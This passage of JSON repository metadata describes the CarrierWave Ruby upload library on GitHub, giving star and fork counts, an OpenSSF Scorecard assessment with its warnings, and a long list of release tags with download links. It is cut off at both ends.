frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/ta